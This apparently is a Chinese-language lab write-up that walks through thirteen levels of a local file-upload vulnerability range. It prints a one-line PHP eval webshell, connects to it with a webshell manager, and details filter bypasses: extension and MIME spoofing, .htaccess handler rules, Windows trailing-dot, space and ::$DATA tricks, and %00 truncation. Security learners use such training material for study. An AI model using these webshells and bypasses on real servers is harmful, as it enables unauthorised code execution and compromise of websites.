第一关:

任务是要我们上传一个webshell到服务器
然后我们选择一个shell进行上传
内容:
<?php
eval($_POST["pass"]);
?>
为了方便我是直接上传了一个phpinfo()上去,都是php文件,一个可以利用另一个也差不多
<?php phpinfo();?>

上传发现做了文件类型的限制
首先ctrl+U或者f12看看页面源代码是不是做了前端校验
ctrl+u显示的界面是直接新建一个标签查看当前页面的html源代码

f12则是利用开发者工具查看源代码

我们以f12为例
发现一个index.php,里面刚好是当前页面的html源代码,发现使用了javascript进行文件类型限制
全部作为前端展示出来
这是一个典型的js前端校验
直接把文件后缀改为.jpg上传,过前端校验,
然后用bp截取数据包,把文件类型再改为php,进行前端js绕过
到抓包遇到了一个小问题
bp不抓127.0.0.1的包,然后把url的127.0.0.1替换成自己的ip就好了


抓到包以后把文件名的.jpg改为php,再放包,看看成果

显示已上传,把php当做图片显示出来了,但是由于不是图片导致只出现了一个占位符
上传上去了尝试用连接工具去连接
我这里用哥斯拉去连


url要填上传具体文件的路径,密码是shell里面自己设置的,有效载荷类型要写对应的类型,也同时网站也要能解析,不然传上去没用
再url这一块,可能是一个难点了
我们上传木马后首先要有具体路径我们才能连上
但是很多时候上传路径是未知的,我们只能通过目录扫描等各种信息收集才能得到路径
这也是一个很麻烦的点
但由于这是靶场,所有我能在本地很清楚地看到路径

从页面源代码也能看出部分路径
再在该路径目录扫描一下,可以很容易得出靶场上传路径
但是我是直接看的,没有进行目录扫描
这是靶场的上传路径
http://192.168.229.1/upload/upload/shell.php

测试连接成功,直接添加进行下一步
右击进入

进入到webshell界面

命令执行一条whoami

文件管理也能看到具体目录

一般到这里就可以进网站后渗透或者内网渗透了
第一关就到此为止了
第二关:

上传一个php文件,提示我类型不正确
猜测可能是黑名单检测
看页面源代码发现不是前端校验
由于是处于学习阶段,我们不知道有哪些绕过方式,所以靶场环境中我们可以去看源代码了解防御和绕过方式
下面是后端校验代码

我们可以看到

这里了很明显,它是验证了文件的MIME类型
MIME类型是用于描述文件内容类型的标准
MIME 类型在 HTTP 响应头中被用来告诉浏览器文件的类型
MIME的类型是在数据包中有一个Content-Type字段来体现的

当前后端校验就是根据Content-Type的类型进行过滤

这是我查找的常见的类型样式
直接去把MIME类型改为image/jpeg

再放包

发现上传上去了
直接右击——》在新标签页打开图像,就成功解析php代码

输出phpinfo()

这里上传的是phpinfo而不是shell是为了方便,第一关已经学习了如何上传和连接webshell,后面的关卡就不用那么繁琐了
第二关结束
第三关:
直接看后端代码(js前端校验除了第一关肯定已经不存在了)

这里还是做了很多限制的
除开限制的函数,去看真正校验的部分,$file_ext和$deny_ext两个变量,是直接把文件末尾的后缀名进行黑名单匹配
如果存在.asp、.aspx、.php、.jsp就不允许上传
对于$deny_ext的限制还是蛮多的,
- 去掉了文件名末尾的.
- 限制了大小写绕过
- 去除::$DATA( 在编程或命令行中,可以通过 ::$DATA 明确指定操作的是文件指定操作的是文件的主内容)
- 在结尾去空字符
但是,仔细看截取$deny_ext的时候,是根据.点号截取的,匹配只看是否与php等一致
那我尝试.phpphp,跟.php不就不匹配了吗
直接去尝试一下


成功上传
结果后面耍小聪明失败
.phpphp上传上去压根无法解析
看了下攻略发现这关主要是让我们了解php的解析规则
条件允许的情况下
.phtml .phps .php5 .pht后缀可以解析成php文件
只能说不常见,
要自己去phpstudy里面改httpd.conf文件
找到下面这个AddType application这一行
把注释符去掉
就可以把phtml解析成php文件了

设置好后重启phpstudy
然后改包

最后成功利用

第四关:

看完源码发现限制更多了,限制了很多后缀
导致从校验这块没有发现绕过的点
然后这关考的就是.htaccess的利用
.htaccess是Apache服务器的配置文件,用来管理目录或者行为的,比如本次靶场用到的解析规则
我们创建一个txt文件,我命名为1.txt,写入下面一行规则
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
表示把4.png文件当做php解析
不直接命名为.htaccess是因为windows命名规则点号前不能为空
然后再抓包改名为.htacess上传
上传成功后再传入4.png的shell文件
打开直接执行为php

如果是当我打开这个图片链接的时候,发现文件名被随机规则化处理了,导致不是原来的文件
有两个解决办法
- 先上传文件,再根据上传后的文件名上传.htaccess
- 直接把.htaccess的解析规则改为把所有.png文件都解析为.php
AddType application/x-httpd-php .png
这条配置就是把所有.png文件解析成.php

最后上传一个png的shell即可
第五关:
后端源码把.htaccess也给禁用了,只能从其他地方找突破口的了

突然主意到这里有一个结尾去点和收尾去空的函数
他们好像没有进行一个循环检查
那如果把文件名构造成 . .(点空格点)的形式
是不是就可以绕过了
这种形式也叫做路径拼接
Windows系统会在解析的时候自动把后缀后面的点给去掉.php.

直接构造路径拼接文件名
成功上传拿到shell

但是如果上传的是真正的shell,路径还是要去加上点的

第六关:
第六关源码少了一个转小写的函数,一看就是大小写绕过,没什么好说的

直接写一个过滤规则里面没有的

成功上传绕过
第七关:
源码少了一个结尾去空
与上一关差不多,让我们了解空格绕过检测
Windows加载文件的时候时候自动忽略空格的
所以直接抓包绕过

成功执行
第八关:
第八关也没什么点
跟第五关差不多
这一关少了一个结尾去点的操作
基于黑名单直接加上点号绕过

成功上传绕过
第九关:
这关考了一个::$DATA的作用
源码中少了去掉::$DATA的函数
::$DATA是Windows的特性
当我上传一个1.php::$DATA的时候,Windows会自动去掉$DATA,保留之前的文件名
改包上传

成功绕过

利用路径的时候要去掉::$DATA,因为上传后Windows已经自动去除了
第十关:
第十关我发现跟第五关一样,也是直接路径拼接绕过就可以了
没明白考点是什么

看提示没有发现什么,可能是关卡重复了吧
第十一关:
当我看到第十一关后端代码的时候发现变化还是蛮大的

但我仔细一看,不对
他好像除了一个黑名单什么验证都没有
我随便进行一个大小写绕过,上传了一个1.PhP,发现成功利用
也确实很奇怪的一个关卡
第十二关:

第十二关就用到了白名单机制了
直接解决了黑名单的很多绕过缺陷
这关主要是想让我们了解%00截断
其实我想着%00截断利用条件太苛刻了,现在基本上没有了
我就想看看有没有其他的方法,想到图片马,发现后面关卡有用到图片马,就先不在这里用了
%00截断的利用条件:
1、php版本要小于5.3
2、把majic_quotes_gpc关闭(phpstudy)

所以一般来说利用条件比较苛刻
0x00是十六进制表示法(ascii码为0的字符),在有些函数处理中,会把这个字符当做结束符处理
当我上传1.php%00.png
因为检测的时候只会检测最后一个点号后缀,导致误认为白名单
上传上去后检测到%00又把后面的.png截掉了,就解析为1.php了
直接去抓包修改一下
首先改get方式路径文件名

再改一下过检验的文件名

成功上传
右击访问图片的时候发现没有这个文件


但其实截断上去的1.php还是在的,直接访问


成功执行
第十三关:

这关一样考的是%00截断,但是这次用的是POST提交方式
思路是一样的,就是POST和GET提交的形式有区别
GET方式会对url自动进行解码,而POST由于提交方式不同,是不糊自动解码的
POST提交的路径会在数据包里面

加上的%00是无法进行url解码,导致后台无法解析
![]()
bp里面有一个功能会对你选中的目标进行url解码,如下

解码之后就可以了,下面虽然看不见了,但其实就是解码还在那

最后放包上传
成功利用
第二种方法,是不利用bp自带的url解析功能
我们手工地去完成这样的一个解析,比第一种繁琐,但是得知道能这么勇
在post上传路径加上1.php再写一个+,这个+是让我们之后更方便改
+的十六进制是2b,而%00的十六进制就是00

文件名依然是改为png

然后来到十六进制查看器

找到那个加号

这里用+的目的就应该能看出来了
因为如果是%00,在这边就是三个字符,但其实%00解码后只是一个字符
所以用+来占位
然后把2b改成00

再看就解码成功了
直接放包上传

访问1.php

成功利用

2587

被折叠的 条评论
为什么被折叠?



